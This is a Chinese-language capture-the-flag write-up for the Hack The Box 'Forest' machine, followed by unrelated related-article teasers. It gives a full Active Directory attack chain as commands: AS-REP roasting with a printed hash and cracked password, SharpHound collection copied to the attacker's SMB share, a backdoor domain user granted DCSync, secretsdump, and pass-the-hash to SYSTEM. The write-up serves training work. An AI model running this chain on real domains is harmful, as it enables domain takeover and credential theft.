HTB:Forest[WriteUP]

连接至HTB服务器并启动靶机

分配IP:10.10.16.21

靶机IP:10.10.10.161

靶机Domain:forest.htb


目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

将靶机TCP开放端口号提取并保存

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用nmap对靶机UDP开放端口进行脚本、服务扫描

使用smbclient尝试列出靶机SMB共享

使用netexec枚举靶机AD域中的用户信息

边界突破

将上述枚举出来的用户名保存到文件中

使用impacket-GetNPUsers免密枚举列表中用户的AS-REP票据

使用john对该密码哈希进行字典爆破

使用netexec通过上述凭证尝试枚举靶机SMB服务共享

使用evil-winrm通过上述凭证登录靶机Win-RM服务

权限提升

将SharpHound上传至靶机

控制靶机连接至攻击机SMB服务器

使用BloodHound读取分析靶机域内数据

点击下方的HTB.LOCAL域结点查看其可传递DC

查看如何滥用EWP组对域控制器的WriteDacl权限

要对EWP组拥有的权限进行滥用,首先得新建一个用户并加入EWP组

授予x0da6h账户DcSync权限

使用impacket-secretsdump通过DcSync权限转储域内用户密码哈希

使用evil-winrm通过Administrator密码哈希登录靶机Win-RM服务

使用impacket-psexec通过Administrator密码哈希直接提权至SYSTEM账户


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.10.161 -r 1-65535 --ulimit 5000 | tee res

将靶机TCP开放端口号提取并保存
ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep ^[0-9] res | cut -d/ -f1 | paste -sd,
53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49678,49679,49686,49708,49975
                                                                                                                                                 
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
                                                                                                                                                 
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49678,49679,49686,49708,49975

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -sT -p$ports -sCV -Pn 10.10.10.161

  • 需要重点关注的端口和信息

53端口:Domain服务

88端口:Kerberos服务

389端口:LDAP服务

445端口:SMB服务

5985端口:Win-RM服务

AD域名:htb.local

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.10.161

使用nmap对靶机常用UDP端口进行开放扫描

nmap -sU --top-ports 20 -Pn 10.10.10.161

使用nmap对靶机UDP开放端口进行脚本、服务扫描
nmap -sU -p53,123 -sCV -Pn 10.10.10.161

使用smbclient尝试列出靶机SMB共享

smbclient -L \\forest.htb

使用netexec枚举靶机AD域中的用户信息

netexec smb forest.htb -d htb.local --users


边界突破

将上述枚举出来的用户名保存到文件中

netexec smb forest.htb -d htb.local --users | awk '{print $5}' | tee names.txt

使用impacket-GetNPUsers免密枚举列表中用户的AS-REP票据
impacket-GetNPUsers -no-pass htb.local/ -usersfile ./names.txt -dc-ip 10.10.10.161

$krb5asrep$23$svc-alfresco@HTB.LOCAL:6822d165641745300f299a10c7a6d020$51a8bd7d10842166f30e7518c9fbc5673fc5bf57d212ce346e43c4e675c8c1b7bf837faea3d651862d42a6399654669956c19e68de1a51783eb783d0e69f058413688dff8ddd39c82be3cf2c2d9b75db20a3c84a481b46041b71222d25f43f627dc2d81ae04ada3f8ff1fe586e24e83b466a4f11127c7d260389c06bbdf6238a182c77477b7ad8ccb80cd68b27d77529f9807688a6f9c2dca8f5e29c879f7245c1eae504b2a4b96fcde667ab2eb230863b202e24967a601fd12d8c5c8b20bed8988753df731259381a35b0d8bf48ee3e32455965813812fdad76e883dddc1895b7f26a3db0dc
  • 将枚举得到的密码哈希保存到文件中
echo '$krb5asrep$23$svc-alfresco@HTB.LOCAL:6822d165641745300f299a10c7a6d020$51a8bd7d10842166f30e7518c9fbc5673fc5bf57d212ce346e43c4e675c8c1b7bf837faea3d651862d42a6399654669956c19e68de1a51783eb783d0e69f058413688dff8ddd39c82be3cf2c2d9b75db20a3c84a481b46041b71222d25f43f627dc2d81ae04ada3f8ff1fe586e24e83b466a4f11127c7d260389c06bbdf6238a182c77477b7ad8ccb80cd68b27d77529f9807688a6f9c2dca8f5e29c879f7245c1eae504b2a4b96fcde667ab2eb230863b202e24967a601fd12d8c5c8b20bed8988753df731259381a35b0d8bf48ee3e32455965813812fdad76e883dddc1895b7f26a3db0dc' > hash

使用john对该密码哈希进行字典爆破

john hash --wordlist=../dictionary/rockyou.txt --format=krb5asrep

账户:svc-alfresco

密码:s3rvice

使用netexec通过上述凭证尝试枚举靶机SMB服务共享
netexec smb forest.htb -u 'svc-alfresco' -p 's3rvice' --shares

使用evil-winrm通过上述凭证登录靶机Win-RM服务

evil-winrm -i forest.htb -u 'svc-alfresco' -p 's3rvice'

  • C:\Users\svc-alfresco\Desktop目录下找到user.txt文件


权限提升

将SharpHound上传至靶机

upload SharpHound.exe

  • 执行该文件收集靶机域内信息
.\SharpHound.exe -c all

控制靶机连接至攻击机SMB服务器
net use Z: \\10.10.16.21\temp
  • 将域内数据拷贝至攻击机共享目录中
copy 20250126235717_BloodHound.zip Z:\

使用BloodHound读取分析靶机域内数据

  • 选择`查找到域管理员的最短路径`

点击下方的HTB.LOCAL域结点查看其可传递DC

  • 如图表所示,ACCOUNT OPERATORS(AO)组对EXCHANGE WINDOWS PERMISSIONS(EWP)组具有GenericAll权限,而EWP组对HTB.LOCAL域控制器具有WriteDacl权限
查看如何滥用EWP组对域控制器的WriteDacl权限

要对EWP组拥有的权限进行滥用,首先得新建一个用户并加入EWP组
  • 在域中新建一个用户
net user x0da6h Password123! /add /domain

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user x0da6h Password123! /add /domain
The command completed successfully.

  • 将该用户加入EWP组
net group "EXCHANGE WINDOWS PERMISSIONS" /add x0da6h

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "EXCHANGE WINDOWS PERMISSIONS" /add x0da6h
The command completed successfully.

授予x0da6h账户DcSync权限

  • 将明文密码转换为安全字符串
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  • 创建x0da6h用户与安全密码的凭证对象
$Cred = New-Object System.Management.Automation.PSCredential('HTB\x0da6h', $SecPassword)
  • 使用凭证对象为x0da6h账户授予 HTB.LOCAL的DCSync权限
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=HTB,DC=LOCAL" -PrincipalIdentity x0da6h -Rights DCSync
使用impacket-secretsdump通过DcSync权限转储域内用户密码哈希
impacket-secretsdump 'htb.local/x0da6h:Password123!@10.10.10.161'

使用evil-winrm通过Administrator密码哈希登录靶机Win-RM服务

evil-winrm -i forest.htb -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6'
  • C:\Users\Administrator\Desktop目录下找到root.txt文件

使用impacket-psexec通过Administrator密码哈希直接提权至SYSTEM账户

impacket-psexec htb.local/Administrator@forest.htb -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/68507.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

芯片AI深度实战:实战篇之vim chat

利用vim-ollama这个vim插件,可以在vim内和本地大模型聊天。 系列文章: 芯片AI深度实战:基础篇之Ollama-CSDN博客 芯片AI深度实战:基础篇之langchain-CSDN博客 芯片AI深度实战:实战篇之vim chat-CSDN博客 芯片AI深度…

JavaScript - Web APIs(下)

日期对象 目标:掌握日期对象,可以让网页显示日期 日期对象:用来表示时间的对象 作用:可以得到当前系统时间 学习路径: 实例化 日期对象方法 时间戳 实例化 目标:能够实例化日期对象 在代码中发…

【安全测试】测开方向学习遇到的问题记录

【问题一】springboot如何访问静态资源文件 springboot启动根路径位置 F:\untitled05\demo4\src\main\resources\static 例如图片位置存放在F:\untitled05\demo4\src\main\resources\static即可 配置文件配置 spring.web.resources.static-locationsfile:/F:/untitled05/de…

Unity|小游戏复刻|见缝插针2(C#)

控制针的运动 新建一个Pin脚本 将Pin脚本拖到针Pin的下面 保存代码 using UnityEngine;public class Pin : MonoBehaviour {public float speed 5;private bool isFly false;private bool isReach false;private Transform startPosition;// Start is called once bef…

2025年数学建模美赛 A题分析(3)楼梯使用方向偏好模型

2025年数学建模美赛 A题分析(1)Testing Time: The Constant Wear On Stairs 2025年数学建模美赛 A题分析(2)楼梯磨损分析模型 2025年数学建模美赛 A题分析(3)楼梯使用方向偏好模型 2025年数学建模美赛 A题分…

DeepSeek大模型技术解析:从架构到应用的全面探索

一、引言 在人工智能领域,大模型的发展日新月异,其中DeepSeek大模型凭借其卓越的性能和广泛的应用场景,迅速成为业界的焦点。本文旨在深入剖析DeepSeek大模型的技术细节,从架构到应用进行全面探索,以期为读者提供一个…

「AI学习笔记」深度学习的起源与发展:从神经网络到大数据(二)

深度学习(DL)是现代人工智能(AI)的核心之一,但它并不是一夜之间出现的技术。从最初的理论提出到如今的广泛应用,深度学习经历了几乎一个世纪的不断探索与发展。今天,我们一起回顾深度学习的历史…

渗透测试之WAF规则触发绕过规则之规则库绕过方式

目录 Waf触发规则的绕过 特殊字符替换空格 实例 特殊字符拼接绕过waf Mysql 内置得方法 注释包含关键字 实例 Waf触发规则的绕过 特殊字符替换空格 用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格 这个方法也可以部分绕过最新版本的…

深入理解若依RuoYi-Vue数据字典设计与实现

深入理解若依数据字典设计与实现 一、Vue2版本主要文件目录 组件目录src/components:数据字典组件、字典标签组件 工具目录src/utils:字典工具类 store目录src/store:字典数据 main.js:字典数据初始化 页面使用字典例子&#xf…

Linux网络之TCP

Socket编程--TCP TCP与UDP协议使用的套接字接口比较相似, 但TCP需要使用的接口更多, 细节也会更多. 接口 socket和bind不仅udp需要用到, tcp也需要. 此外还要用到三个函数: 服务端 1. int listen(int sockfd, int backlog); 头文件#include <sys/socket.h> 功能: …

GIS与相关专业软件汇总

闲来无事突然想整理一下看看 GIS及相关领域 究竟有多少软件或者工具包等。 我询问了几个AI工具并汇总了一个软件汇总&#xff0c;不搜不知道&#xff0c;一搜吓一跳&#xff0c;搜索出来了大量的软件&#xff0c;大部分软件或者工具包都没有见过&#xff0c;不知大家还有没有要…

(四)线程 和 进程 及相关知识点

目录 一、线程和进程 &#xff08;1&#xff09;进程 &#xff08;2&#xff09;线程 &#xff08;3&#xff09;区别 二、串行、并发、并行 &#xff08;1&#xff09;串行 &#xff08;2&#xff09;并行 &#xff08;3&#xff09;并发 三、爬虫中的线程和进程 &am…

python爬虫入门(一) - requests库与re库,一个简单的爬虫程序

目录 web请求与requests库 1. web请求 1.1 客户端渲染与服务端渲染 1.2 抓包 1.3 HTTP状态代码 2. requests库 2.1 requests模块的下载 2.2 发送请求头与请求参数 2.3 GET请求与POST请求 GET请求的例子&#xff1a; POST请求的例子&#xff1a; 3. 案例&#xff1a;…

Luzmo 专为SaaS公司设计的嵌入式数据分析平台

Luzmo 是一款嵌入式数据分析平台&#xff0c;专为 SaaS 公司设计&#xff0c;旨在通过直观的可视化和快速开发流程简化数据驱动决策。以下是关于 Luzmo 的详细介绍&#xff1a; 1. 背景与定位 Luzmo 前身为 Cumul.io &#xff0c;专注于为 SaaS 公司提供嵌入式分析解决方案。…

在虚拟机里运行frida-server以实现对虚拟机目标软件的监测和修改参数(一)(android Google Api 35高版本版)

frida-server下载路径 我这里选择较高版本的frida-server-16.6.6-android-x86_64 以root身份启动adb 或 直接在android studio中打开 adb root 如果使用android studio打开的话&#xff0c;最好选择google api的虚拟机&#xff0c;默认以root模式开启 跳转到下载的frida-se…

C#编译报错: error CS1069: 未能在命名空间“System.Windows.Markup”中找到类型名“IComponentConnector”

文章目录 问题现象解决方案 问题现象 一个以前使用.NET Framwork 3.0框架开发的项目&#xff0c;在框架升级到.NET Framwork 4.7.2后&#xff0c; 如下代码&#xff1a; #pragma checksum "..\..\XpsViewer.xaml" "{8829d00f-11b8-4213-878b-770e8597ac16}&qu…

能源新动向:智慧能源平台助力推动新型电力负荷管理系统建设

背景 国家能源局近日发布《关于支持电力领域新型经营主体创新发展的指导意见》&#xff0c;鼓励支持具备条件的工业企业、工业园区等开展智能微电网建设&#xff0c;通过聚合分布式光伏、分散式风电、新型储能、可调节负荷等资源&#xff0c;为电力系统提供灵活调节能力&#x…

用WinForm如何制作简易计算器

首先我们要自己搭好页面 using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms;namespace _7_简易计算…

论文笔记(六十三)Understanding Diffusion Models: A Unified Perspective(四)

Understanding Diffusion Models: A Unified Perspective&#xff08;四&#xff09; 文章概括学习扩散噪声参数&#xff08;Learning Diffusion Noise Parameters&#xff09;三种等效的解释&#xff08;Three Equivalent Interpretations&#xff09; 文章概括 引用&#xf…

【数据结构】(1)集合类的认识

一、什么是数据结构 1、数据结构的定义 数据结构就是存储、组织数据的方式&#xff0c;即相互之间存在一种或多种关系的数据元素的集合。 2、学习数据结构的目的 在实际开发中&#xff0c;我们需要使用大量的数据。为了高效地管理这些数据&#xff0c;实现增删改查等操作&…